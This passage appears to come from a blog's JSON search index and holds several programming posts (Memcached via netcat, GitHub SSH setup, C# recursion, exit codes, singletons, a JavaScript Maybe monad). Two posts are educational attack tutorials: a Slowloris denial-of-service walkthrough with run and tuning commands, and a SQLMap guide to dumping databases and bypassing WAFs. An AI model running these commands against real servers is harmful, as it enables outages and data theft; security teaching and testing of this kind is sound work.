3\\r\\nbar\\r&#39; | nc localhost 11211 foo: The key. 0: Flags (not used here, set to 0). 300: Expiration time in seconds. 3: Number of bytes in the value. bar: The value.The \\r\\n sequence marks the end of the command line, and \\r is used to finish the data line. Removing an Entry #To delete data associated with a key, use the delete command.\necho &#39;delete bar&#39; | nc localhost 11211 Command Summary ## Set a value echo -e &#39;set foo 0 300 3\\r\\nbar\\r&#39; | nc localhost 11211 # Get the value echo &#39;get foo&#39; | nc localhost 11211 # Flush all data echo &#39;flush_all&#39; | nc localhost 11211 # Attempt to get the value again (should return nothing as cache is flushed) echo &#39;get foo&#39; | nc localhost 11211 # Delete the key (this will have no effect if the key doesn&#39;t exist) echo &#39;delete bar&#39; | nc localhost 11211 Conclusion #Using netcat to interact with Memcached provides a simple, low-level interface for testing and debugging.\nThis method is especially useful when you need to manually issue commands or quickly check the contents of the cache.\nFeel free to try out different Memcached commands and explore the capabilities of this powerful caching system!\nReferences #Build a CLI to connect to Memcached https:\/\/codingchallenges.fyi\/challenges\/challenge-memcached-client\nMemcached protocol: https:\/\/github.com\/memcached\/memcached\/blob\/master\/doc\/protocol.txt\n","date":"August 4, 2024","permalink":"https:\/\/rmauro.dev\/connecting-to-memcached-using-terminal\/","section":"Posts","summary":"<p>Recently, I encountered an intriguing code challenge: <a href=\"#references\">build a CLI to connect to Memcached<\/a>.<\/p>\n<p>My initial thought was to use <code>telnet<\/code> to interact with the Memcached server. However, after spending some time reading the <a href=\"#references\">Memcached protocol documentation<\/a> I decided to use <strong>Netcat<\/strong> instead.<\/p>\n<p>This blog post shares my experience and explains how to use <code>netcat<\/code> to connect to Memcached, illustrating some basic commands.<\/p>\n<h2 id=\"prerequisites\" class=\"relative group\">Prerequisites <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#prerequisites\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Ensure the following before starting:<\/p>","title":"Connect to Memcached Server Using only Terminal"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/memcached\/","section":"Tags","summary":"","title":"Memcached"},{"content":"By setting up SSH keys for GitHub, you can securely connect to your repositories without the hassle of repeatedly entering your username and password.\nThis guide will walk you through the process of setting up and using SSH keys with GitHub via the SSH config file.\nWhile many developers use the ssh-agent to manage their SSH keys, an alternative method involves configuring the SSH config file for even smoother operations.\n**\ud83d\udce2Table of Contents # Benefits of Using SSH Keys with GitHub Generate an SSH Key Add SSH key to the Github account Configure the SSH Config File Test the SSH Connection **\ud83e\uddfe Benefits of Using SSH Keys with GitHub #SSH keys offer a secure method of authentication, utilizing a pair of cryptographic keys \u2013 one public and one private.\nSSH Github Connection\nWhen configured correctly, SSH keys provide:\nEnhanced Security: SSH keys are virtually immune to brute-force attacks. Convenience: Automate your GitHub interactions without repeatedly typing your credentials. Efficiency: Speed up your workflow with seamless and secure connections. \ud83d\ude97 Set Up Step by Step #Let&rsquo;s dive into the step-by-step process of generating and using SSH keys with GitHub.\nGenerate an SSH Key #The first step is to generate a new SSH key on your local machine. This key will be used to authenticate your GitHub account.\nOpen your terminal. On macOS and Linux, you can use the built-in Terminal application. On Windows, you might use Git Bash or any terminal emulator that supports SSH. Generate the key. Use the ssh-keygen command to create a new SSH key pair. Replace your_email@example.com with your GitHub email address. ssh-keygen -t ed25519 -C &#34;your_email@example.com&#34; Generates Keys using ed25519\nIf your system does not support the Ed25519 algorithm, use RSA instead.\nssh-keygen -t rsa -b 4096 -C &#34;your_email@example.com&#34; Generates Keys using RSA 4096\nFollow the prompts: You&rsquo;ll be asked to enter a file name to save the key. Press Enter to accept the default location (\/home\/you\/.ssh\/id_ed25519 or \/home\/you\/.ssh\/id_rsa). Set a passphrase: For added security, you can enter a passphrase. Press Enter if you prefer not to use one. Add SSH key to the Github account #Copy the SSH public key.\nThe public key is usually located in ~\/.ssh\/id_ed25519.pub (or ~\/.ssh\/id_rsa.pub for RSA).sh\nGo to GitHub and navigate to Settings &gt; SSH and GPG keys &gt; New SSH key.\nBy the way. Follow me on Github. https:\/\/github.com\/ricardodemauro\nGithub Profile\nGive your SSH key a descriptive title and paste the public key into the key field. Click Add SSH key.\nAdd SSH Key\nConfigure the SSH Config File #To manage your SSH keys without using ssh-agent, configure your SSH config file. This file allows you to define specific settings for SSH connections.\nOpen the SSH config file. Use a text editor to open or create the SSH config file located at ~\/.ssh\/config.sh\nnano ~\/.ssh\/config Add the following configuration to the file. This setup specifies the SSH key for GitHub.\nHost github.com HostName github.com User git IdentityFile ~\/.ssh\/id_ed25519 For RSA keys, adjust the IdentityFile path accordingly. IdentityFile ~\/.ssh\/id_rsa\nSave the changes and close the text editor.\nTest the SSH Connection #Finally, verify that your setup works correctly by testing the SSH connection to GitHub.\nExecute the following command to test your SSH connection.sh\nssh -T git@github.com If the configuration is correct, you should see a message like.\nHi username! You've successfully authenticated, but GitHub does not provide shell access.\nConclusion #Configuring SSH keys with GitHub using the SSH config file offers a streamlined and secure way to manage your repository interactions.\nBy following these steps, you can enhance your development workflow, ensuring secure and seamless connections without the need for ssh-agent.\nEmbrace the power of SSH keys and optimize your GitHub experience.\nHappy coding!\n","date":"July 27, 2024","permalink":"https:\/\/rmauro.dev\/github-ssh-key-authentication-and-ssh-config\/","section":"Posts","summary":"<p>By setting up SSH keys for GitHub, you can securely connect to your repositories without the hassle of repeatedly entering your username and password.<\/p>\n<p>This guide will walk you through the process of setting up and using SSH keys with GitHub via the SSH config file.<\/p>\n<blockquote>\n<p>While many developers use the <code>ssh-agent<\/code> to manage their SSH keys, an alternative method involves configuring the SSH config file for even smoother operations.<\/p>","title":"Set up GitHub with SSH Config"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/ssh\/","section":"Tags","summary":"","title":"SSH"},{"content":"Recursion functions are like a magical mirror that reflects upon itself. It&rsquo;s a concept where a function calls itself, creating a mesmerizing loop of self-referential elegance.\nLet&rsquo;s break it down how recursive functions works using Factorial Calculation as sample.\nWhat is a Factorial? #Before we dive into the code, let&rsquo;s unravel the mystery of factorials.\nA factorial of a non-negative integer N, denoted as N!, is the product of all positive integers from 1 to N.\nFor instance:\n5! = 5 \u00d7 4 \u00d7 3 \u00d7 2 \u00d7 1 = 120\n3! = 3 \u00d7 2 \u00d7 1 = 6\nRecursive Factorial Function #Let&rsquo;s create a function called Factorial that takes an integer x as input and returns its factorial.\nstatic int Factorial(int x) { \/\/ Base case: 0! = 1 if (x == 0) return 1; \/\/ Recursive case: N! = N * (N-1)! else return x * Factorial(x - 1); } int facResult = Factorial(4); Console.WriteLine($&#34;4 Factorial is {facResult}&#34;); When we call Factorial(4), it unfolds like this.\nFactorial(4) = 4 \u00d7 Factorial(3) Next: Factorial(3) = 3 \u00d7 Factorial(2) Continuing down the rabbit hole:\nFactorial(2) = 2 \u00d7 Factorial(1) Factorial(1) = 1 \u00d7 Factorial(0) Finally, Factorial(0) is the base case, which gracefully returns 1. The recursive function unwinds, multiplying the results back up the chain.\nThe termination condition if (x == 0) ensures that the recursion stops, preventing an infinite loop.\nLooking at a different angle #Call Factorial(x = 4) (which returns 4 * 3) x doesn&#39;t == 0 return 4 * Factorial(3) Call Factorial(x = 3) (which returns 3 * 2) x doesn&#39;t == 0 return 3 * Factorial(2) Calls Factorial(x = 2) (which returns 2 * 1) x doesn&#39;t == 0 return 2 * Factorial(1) Calls Factorial(x = 1) (which returns 1 * 1) x doesn&#39;t == 0 return 1 * Factorial(0) Calls Factorial(x = 0) (which returns 1) x == 0 so return 1 Or&hellip; starting from the bottom of the picture.\nNow you&rsquo;ve glimpsed the enchantment of recursive calls in C#.\nCLR (Common Language Runtime) and the Call Stack #When you invoke a recursive function, the Common Language Runtime (CLR) allocates memory on the call stack for each function call.\nAs the recursion progresses, the stack grows, creating a stack frame for each invocation.\nWhen the base case is reached (in our example, when x == 0), the stack starts unwinding. Each stack frame is deallocated, and the results are propagated back up.\nBe cautious! Too much recursion can lead to stack overflow errors. The CLR has a finite stack size, and excessive recursion can exhaust it.\nSo, while recursion is elegant, use it judiciously.\nHappy coding! \ud83d\ude80\nReferences #Stack Overflow: Factorial Calculations using Recursive Method Call\n","date":"July 19, 2024","permalink":"https:\/\/rmauro.dev\/recursive-calls-in-csharp\/","section":"Posts","summary":"<p>Recursion functions are like a magical mirror that reflects upon itself. It&rsquo;s a concept where a function calls itself, creating a mesmerizing loop of self-referential elegance.<\/p>\n<p>Let&rsquo;s break it down how recursive functions works using <strong>Factorial Calculation<\/strong> as sample.<\/p>\n<h2 id=\"what-is-a-factorial\" class=\"relative group\">What is a Factorial? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#what-is-a-factorial\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Before we dive into the code, let&rsquo;s unravel the mystery of factorials.<br>\nA factorial of a non-negative integer N, denoted as N!, is the product of all positive integers from 1 to N.<\/p>","title":"Recursive Calls in C#: A Deep Dive"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/recursive-call\/","section":"Tags","summary":"","title":"Recursive-Call"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/recursive-function\/","section":"Tags","summary":"","title":"Recursive-Function"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/console-application\/","section":"Tags","summary":"","title":"Console Application"},{"content":"When developing console applications in C#, it&rsquo;s important to communicate the success or failure of your program back to the operating system.\nThis is achieved through exit codes, which are integers returned by the program when it finishes execution.\nAn exit code of 0 typically signifies success, while any non-zero value indicates an error.\nSetting Exit Codes in C# #In C#, you can set the exit code using the Environment.ExitCode property or the Environment.Exit method. Here&rsquo;s how you can use both:\nUsing Environment.ExitCode #The Environment.ExitCode property allows you to set the exit code at the end of your Main method or anywhere in your application logic. Here&rsquo;s a simple example:\nusing System; class Program { static void Main(string[] args) { try { \/\/ Your code logic here Console.WriteLine(&#34;Hello, World!&#34;); \/\/ If everything went well Environment.ExitCode = 0; } catch (Exception ex) { Console.WriteLine($&#34;An error occurred: {ex.Message}&#34;); \/\/ If an error occurred Environment.ExitCode = 1; } } } In this example, if the code runs successfully, the exit code is set to 0. If an exception is caught, the exit code is set to 1.\nUsing Environment.Exit #The Environment.Exit method immediately terminates the process and sets the exit code. Here\u2019s how you can use it:\nusing System; class Program { static void Main(string[] args) { try { \/\/ Your code logic here Console.WriteLine(&#34;Hello, World!&#34;); \/\/ If everything went well Environment.Exit(0); } catch (Exception ex) { Console.WriteLine($&#34;An error occurred: {ex.Message}&#34;); \/\/ If an error occurred Environment.Exit(1); } } } In this case, Environment.Exit(0) is called if the code executes successfully, and Environment.Exit(1) is called if an exception occurs.\nBest Practices # Standardize Exit Codes: Decide on a standard set of exit codes for your application, where 0 represents success, and specific non-zero values represent different types of errors. Consistent Usage: Ensure that exit codes are set consistently throughout your application, especially when handling exceptions. Documentation: Document the exit codes used by your application, so users or other developers know what each code signifies. By properly using exit codes, you can make your C# console applications more robust and easier to integrate into larger systems and automated processes.\nFeel free to leave comments or questions below if you have any!\nKeywords: C#, Exit Codes, Console Application, Error Handling, Environment.Exit, Environment.ExitCode\nFor more articles like this, visit rmauro.dev.\n","date":"July 17, 2024","permalink":"https:\/\/rmauro.dev\/exit-codes-in-csharp-applications\/","section":"Posts","summary":"<p>When developing console applications in C#, it&rsquo;s important to communicate the success or failure of your program back to the operating system.<\/p>\n<p>This is achieved through exit codes, which are integers returned by the program when it finishes execution.<\/p>\n<p>An exit code of <code>0<\/code> typically signifies success, while any non-zero value indicates an error.<\/p>\n<h2 id=\"setting-exit-codes-in-c\" class=\"relative group\">Setting Exit Codes in C# <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#setting-exit-codes-in-c\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>In C#, you can set the exit code using the <code>Environment.ExitCode<\/code> property or the <code>Environment.Exit<\/code> method. Here&rsquo;s how you can use both:<\/p>","title":"Exit Codes in C# Applications"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/exit-code\/","section":"Tags","summary":"","title":"Exit-Code"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/singleton\/","section":"Tags","summary":"","title":"Singleton"},{"content":"The Singleton design pattern is one of the simplest yet most powerful design patterns in software development.\nIt ensures that a class has only one instance and provides a global point of access to that instance.\nLet&rsquo;s explore its implementation in C# and discuss scenarios where it is appropriate to use this pattern and when it is better to avoid it.\n**\ud83d\udce2**Table of Contents # Singleton Design Pattern When to Use the Singleton Pattern When Not to Use the Singleton Pattern **\ud83e\uddfe**Singleton Design Pattern #The Singleton pattern restricts the instantiation of a class to one single instance.\nThis is particularly useful when exactly one object is needed to coordinate actions across the system.\nThe pattern involves a private constructor, a static method or property that returns the instance, and typically a static variable to hold the single instance.\nC# Implementation of Singleton #A basic implementation of the Singleton pattern in C#.\npublic sealed class Singleton { static Singleton _instance; static readonly object _lock = new(); private Singleton() { } public static Singleton Instance { get { lock (_lock) { if (_instance == null) { _instance = new Singleton(); } return _instance; } } } } C# Singleton Implementation\nThe constructor is private to prevent direct instantiation. The static Instance property provides a global access point to the Singleton instance. A lock is used to ensure thread safety when creating the instance. When to Use the Singleton Pattern #Best scenario of usage is when things don&rsquo;t change. It needs to be static at all time.\nExample:\nConfiguration Settings. When you need a single point of access for configuration settings throughout an application, the Singleton pattern is an ideal choice. Logging. A logging service that writes to a single log file or system can be managed effectively with a Singleton. Database Connections. Managing a single connection to a database can help control access and ensure consistent transactions. Be aware of connection pooling, most ADO drivers don&rsquo;t need singleton. Cache Management. A Singleton can manage a cache to ensure that data is stored and retrieved consistently across different parts of an application. Attention: Cache should NOT be be Singleton. The proxy object to access cache can be Singleton.\nManage your cache using an external systems such as Redis Cache for better performance.\nWhen Not to Use the Singleton Pattern #When need changes.\nHigh Concurrency. Singletons can become a bottleneck in highly concurrent systems where multiple threads need to access the Singleton instance simultaneously. Testing and Maintainability. Singletons can make unit testing difficult because they introduce global state into an application. This can also lead to issues with maintainability and understanding dependencies. Memory Management. Since Singletons are often kept alive for the lifetime of an application, they can contribute to higher memory usage and potential memory leaks if not managed carefully. Hidden Dependencies. Overuse of Singletons can lead to hidden dependencies between classes, making the codebase harder to understand and refactor. Conclusion #The Singleton design pattern is a powerful tool in a developer&rsquo;s arsenal, but it should be used judiciously.\nIt can provide a simple and elegant solution for scenarios that require a single instance of a class, such as configuration management or logging.\nHowever, it&rsquo;s important to consider the potential downsides, particularly regarding concurrency, testing, and maintainability.\nFor more insights and detailed examples of design patterns, check out other articles on rmauro.dev.\n","date":"July 12, 2024","permalink":"https:\/\/rmauro.dev\/singleton-design-pattern-when-and-when-not-to-use-it\/","section":"Posts","summary":"<p>The Singleton design pattern is one of the simplest yet most powerful design patterns in software development.<\/p>\n<p>It ensures that a class has only one instance and provides a global point of access to that instance.<\/p>\n<p>Let&rsquo;s explore its implementation in C# and discuss scenarios where it is appropriate to use this pattern and when it is better to avoid it.<\/p>\n<h2 id=\"table-of-contents\" class=\"relative group\">**\ud83d\udce2**Table of Contents <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#table-of-contents\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"#%F0%9F%A7%BEsingleton-design-pattern\">Singleton Design Pattern<\/a><\/li>\n<li><a href=\"#when-to-use-the-singleton-pattern\">When to Use the Singleton Pattern<\/a><\/li>\n<li><a href=\"#when-not-to-use-the-singleton-pattern\">When Not to Use the Singleton Pattern<\/a><\/li>\n<\/ul>\n<h2 id=\"singleton-design-pattern\" class=\"relative group\">**\ud83e\uddfe**Singleton Design Pattern <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#singleton-design-pattern\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>The Singleton pattern restricts the instantiation of a class to one single instance.<\/p>","title":"Singleton Design Pattern - When Not to Use It"},{"content":"When developing C# .NET applications, it&rsquo;s common to store configuration settings in a JSON file, typically named appsettings.json.\nThis approach is not only useful for ASP.NET applications but can also be effectively used in C# Console Applications.\nBefore we start, let&rsquo;s make sure to have:\n.NET SDK installed on your machine. A basic understanding of C# and .NET. \ud83d\ude97 Step-by-Step Guide #First, create a new .NET console application.\ndotnet new console -n ConfigDemo cd ConfigDemo To read from appsettings.json, we need to add the Microsoft.Extensions.Configuration package.\nRun the following command.\ndotnet add package Microsoft.Extensions.Configuration dotnet add package Microsoft.Extensions.Configuration.Json dotnet add package Microsoft.Extensions.Configuration.Binder In the root of your project, create a file named appsettings.json and add some configuration settings.\n{ &#34;ApplicationName&#34;: &#34;ConfigDemo&#34;, &#34;Logging&#34;: { &#34;LogLevel&#34;: { &#34;Default&#34;: &#34;Information&#34;, &#34;Microsoft&#34;: &#34;Warning&#34;, &#34;Microsoft.Hosting.Lifetime&#34;: &#34;Information&#34; } } } Let&rsquo;s modify the Program.cs file to read configurations from appsettings.json.\nusing Microsoft.Extensions.Configuration; \/\/ Build configuration var basePath = System.IO.Directory.GetCurrentDirectory(); var configuration = new ConfigurationBuilder() .SetBasePath(basePath) .AddJsonFile(&#34;appsettings.json&#34;, optional: false, reloadOnChange: true) .Build(); \/\/ Read settings var appName = configuration[&#34;ApplicationName&#34;]; var logLevelDefault = configuration[&#34;Logging:LogLevel:Default&#34;]; var logLevelMicrosoft = configuration[&#34;Logging:LogLevel:Microsoft&#34;]; Console.WriteLine($&#34;Application Name: {appName}&#34;); Console.WriteLine($&#34;Default Log Level: {logLevelDefault}&#34;); Console.WriteLine($&#34;Microsoft Log Level: {logLevelMicrosoft}&#34;); } } } Run the application to see the configuration settings printed to the console.\ndotnet run You should see output similar to.\nApplication Name: ConfigDemo Default Log Level: Information Microsoft Log Level: Warning Conclusion #Using appsettings.json in console applications ensures consistency across different types of .NET applications and simplifies the management of configuration settings.\nHappy coding! \ud83d\ude0e\n","date":"July 10, 2024","permalink":"https:\/\/rmauro.dev\/reading-appsettings-json-from-a-console-application\/","section":"Posts","summary":"<p>When developing C# .NET applications, it&rsquo;s common to store configuration settings in a JSON file, typically named <code>appsettings.json<\/code>.<\/p>\n<p>This approach is not only useful for ASP.NET applications but can also be effectively used in C# Console Applications.<\/p>\n<p>Before we start, let&rsquo;s make sure to have:<\/p>\n<ul>\n<li>.NET SDK installed on your machine.<\/li>\n<li>A basic understanding of C# and .NET.<\/li>\n<\/ul>\n<h2 id=\"-step-by-step-guide\" class=\"relative group\">\ud83d\ude97 Step-by-Step Guide <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#-step-by-step-guide\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>First, create a new .NET console application.<\/p>","title":"Reading appsettings.json from a Console Application"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/monad-pattern\/","section":"Tags","summary":"","title":"Monad-Pattern"},{"content":"Monads are a powerful concept in functional programming that help manage side effects and maintain clean, composable code.\nIn this post, we&rsquo;ll explore the Maybe monad design pattern using JavaScript, which is used to handle operations that might fail or return null\/undefined.\nWhat is a Monad? #In simple terms, a monad is a design pattern that allows you to wrap values, chain operations, and handle side effects in a consistent way.\nThe Maybe monad is particularly useful for dealing with null or undefined values without littering your code with null checks.\nImplementing the Maybe Monad #This monad will wrap a value and provide methods to apply functions to that value if it exists.\n\/\/ Maybe Monad Implementation class Maybe { constructor(value) { this.value = value; } static of(value) { return new Maybe(value); } isNothing() { return this.value === null || this.value === undefined; } map(fn) { return this.isNothing() ? Maybe.of(null) : Maybe.of(fn(this.value)); } getOrElse(defaultValue) { return this.isNothing() ? defaultValue : this.value; } } Using the Maybe Monad #Let&rsquo;s consider a function that performs division but needs to handle division by zero.\nconst safeDivide = (numerator, denominator) =&gt; { return denominator === 0 ? Maybe.of(null) : Maybe.of(numerator \/ denominator); }; const result = Maybe.of(10) .map(x =&gt; x * 2) \/\/ 20 .map(x =&gt; x + 1) \/\/ 21 .map(x =&gt; safeDivide(x, 0)) \/\/ Maybe(null) .getOrElse(&#39;Division by zero&#39;); console.log(result); \/\/ Output: Division by zero The Maybe monad wraps each intermediate value, applying transformations only if the value is not null or undefined.\nThe safeDivide function returns a Maybe monad, ensuring safe handling of division by zero.\nBenefits of Using the Maybe Monad # Composability: Chain multiple operations cleanly without worrying about null checks. Readability: Simplify code by avoiding repetitive null checks. Safety: Handle potential null or undefined values gracefully, reducing runtime errors. Conclusion #The Maybe monad is a powerful tool for managing null or undefined values in JavaScript. By wrapping values in a monad, you can chain operations safely and maintain cleaner, more readable code. This straightforward approach to monads can greatly enhance your functional programming toolkit in JavaScript.\nFor more technical insights and hands-on tutorials, visit rmauro.dev. Happy coding!\n","date":"July 7, 2024","permalink":"https:\/\/rmauro.dev\/understanding-the-monad-design-pattern\/","section":"Posts","summary":"<p>Monads are a powerful concept in functional programming that help manage side effects and maintain clean, composable code.<\/p>\n<p>In this post, we&rsquo;ll explore the <code>Maybe<\/code> monad design pattern using JavaScript, which is used to handle operations that might fail or return null\/undefined.<\/p>\n<h3 id=\"what-is-a-monad\" class=\"relative group\">What is a Monad? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#what-is-a-monad\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><p>In simple terms, a monad is a design pattern that allows you to wrap values, chain operations, and handle side effects in a consistent way.<\/p>","title":"Understanding the Monad Design Pattern"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/hacker\/","section":"Tags","summary":"","title":"Hacker"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/slowloris\/","section":"Tags","summary":"","title":"Slowloris"},{"content":"Denial-of-Service (DoS) attacks are a critical threat to web server security. One particularly insidious type is the Slowloris attack, which can incapacitate a server with minimal resources.\nRemember, this guide is for educational purposes only, and any unauthorized testing on live servers is illegal and unethical.\nWhat is a Slow Loris Attack? #A Slow Loris attack involves sending numerous incomplete HTTP requests to a target server.\nBy maintaining these connections open with periodic headers but never completing them, the server&rsquo;s resources are tied up, preventing legitimate users from accessing the server.\nPrerequisites #Before we begin, ensure you have.\nA machine running Linux Basic knowledge of terminal commands Python and Git installed Step-by-Step Guide #Let&rsquo;s start ensuring we have Python and Git installed in our Linux system.\nsudo apt update sudo apt install python3 python3-pip git Clone the Slowloris repository from GitHub. This tool is a simple script written in Python that we&rsquo;ll use for our attack demonstration.\ngit clone https:\/\/github.com\/gkbrk\/slowloris.git cd slowloris Install the necessary python packages.\npip3 install -r requirements.txt Running Slowloris #Now, we&rsquo;re ready to execute the Slow Loris attack. Replace example.com with the domain of your test server.\npython3 slowloris.py example.com Optional: Adjusting Parameters #Slowloris offers several parameters to customize the attack. You can see all available options by running:\npython3 slowloris.py -h Here are some useful parameters:\n-p PORT, --port PORT: Specify the target web server&rsquo;s port (default is 80). -s SLEEPTIME, --sleeptime SLEEPTIME: Time to sleep between sending each header (default is 15 seconds). -v, --verbose: Enable verbose output. Example usage:\npython3 slowloris.py example.com -p 8080 -s 10 -v Mitigating Slow Loris Attacks #To protect your server from Slow Loris attacks, consider the following measures:\nImplement Timeouts: Configure your server to set timeouts for incomplete requests. Rate Limiting: Limit the number of connections a single IP can make. Reverse Proxies: Use a reverse proxy like Nginx or Apache to handle incoming connections and mitigate the effects of such attacks. Conclusion #Understanding and testing the resilience of your server against Slow Loris attacks is crucial for maintaining robust web security.\nBy following this hands-on guide, you&rsquo;ve seen how to conduct a Slow Loris attack in a controlled environment.\nAlways remember to use such techniques ethically and with proper authorization.\nFor more technical insights and tutorials, visit rmauro.dev.\nAdditional Credits #{ gkbrkslowloris, title = &#34;Slowloris&#34;, author = &#34;Gokberk Yaltirakli&#34;, journal = &#34;github.com&#34;, year = &#34;2015&#34;, url = &#34;https:\/\/github.com\/gkbrk\/slowloris&#34; } ","date":"July 7, 2024","permalink":"https:\/\/rmauro.dev\/slow-loris-attack\/","section":"Posts","summary":"<p>Denial-of-Service (DoS) attacks are a critical threat to web server security. One particularly insidious type is the Slowloris attack, which can incapacitate a server with minimal resources.<\/p>\n<p>Remember, this guide is for educational purposes only, and any unauthorized testing on live servers is illegal and unethical.<\/p>\n<h4 id=\"what-is-a-slow-loris-attack\" class=\"relative group\">What is a Slow Loris Attack? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#what-is-a-slow-loris-attack\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><p>A Slow Loris attack involves sending numerous incomplete HTTP requests to a target server.<\/p>","title":"Slowloris Attack #whitehat"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/white-hat\/","section":"Tags","summary":"","title":"White-Hat"},{"content":"SQLMap is a powerful and popular open-source tool used to detect and exploit SQL injection vulnerabilities.\nLet&rsquo;s dive into a basic usage of SQLMap.\nPre-Requirements #Linux Installation #sudo apt-get install sqlmap Windows Installation # Download and install from SQLMap from the official website SQL Map\nBasic Usage #In the terminal or command prompt. Run SQLMap with a target URL that is suspected of being vulnerable to SQL injection:\nsqlmap -u &#34;http:\/\/example.com\/page?id=1&#34; Basic Options # -u URL, --url=URL: Specifies the URL to test. --data: Specifies data for POST requests. -p: Specifies the parameter to test (if the URL has multiple parameters). --dbs: Enumerates databases. -D: Specifies a database to use with other options (e.g., dump tables). --tables: Enumerates tables in the specified database. -T: Specifies a table to use with other options (e.g., dump columns). --columns: Enumerates columns in the specified table. --dump: Dumps the data from the specified table or columns. Commands #Testing for Vulnerability.\nsqlmap -u &#34;http:\/\/example.com\/page?id=1&#34; Enumerating Databases.\nsqlmap -u &#34;http:\/\/example.com\/page?id=1&#34; --dbs Enumerating Tables in a Database.\nsqlmap -u &#34;http:\/\/example.com\/page?id=1&#34; -D database_name --tables Enumerating Columns in a Table.\nsqlmap -u &#34;http:\/\/example.com\/page?id=1&#34; -D database_name -T table_name --columns Dumping Data from a Table.\nsqlmap -u &#34;http:\/\/example.com\/page?id=1&#34; -D database_name -T table_name --dump Advanced Usage #Posting Data.\nsqlmap -u &#34;http:\/\/example.com\/login&#34; --data=&#34;username=user&amp;password=pass&#34; Specify Parameter to Test.\nsqlmap -u &#34;http:\/\/example.com\/page?param1=1&amp;param2=2&#34; -p param1 Bypass WAF\/IDS.\nsqlmap -u &#34;http:\/\/example.com\/page?id=1&#34; --tamper=space2comment Tips # Always ensure you have permission to test the target Use tamper scripts to bypass security filters (e.g., --tamper=space2comment) Combine options for more comprehensive testing For more detailed usage and advanced options, refer to the SQLMap official documentation.\n","date":"July 6, 2024","permalink":"https:\/\/rmauro.dev\/sql-injection-with-sqlmap\/","section":"Posts","summary":"<p>SQLMap is a powerful and popular open-source tool used to detect and exploit SQL injection vulnerabilities.<\/p>\n<p>Let&rsquo;s dive into a basic usage of SQLMap.<\/p>\n<h2 id=\"pre-requirements\" class=\"relative group\">Pre-Requirements <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#pre-requirements\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><h4 id=\"linux-installation\" class=\"relative group\">Linux Installation <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#linux-installation\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">sudo apt-get install sqlmap\n<\/span><\/span><\/code><\/pre><\/div><h4 id=\"windows-installation\" class=\"relative group\">Windows Installation <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#windows-installation\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><ul>\n<li>Download and install from SQLMap from the <a href=\"https:\/\/sqlmap.org\/\" target=\"_blank\" rel=\"noreferrer\">official website<\/a><\/li>\n<\/ul>\n<p>\n\n\n\n\n\n\n  \n  \n<figure><img src=\"\/images\/sql-injection-with-sqlmap\/sql-maps.webp\" alt=\"\" class=\"mx-auto my-0 rounded-md\" \/>\n<\/figure>\n<\/p>","title":"SQL Injection with SQLMap 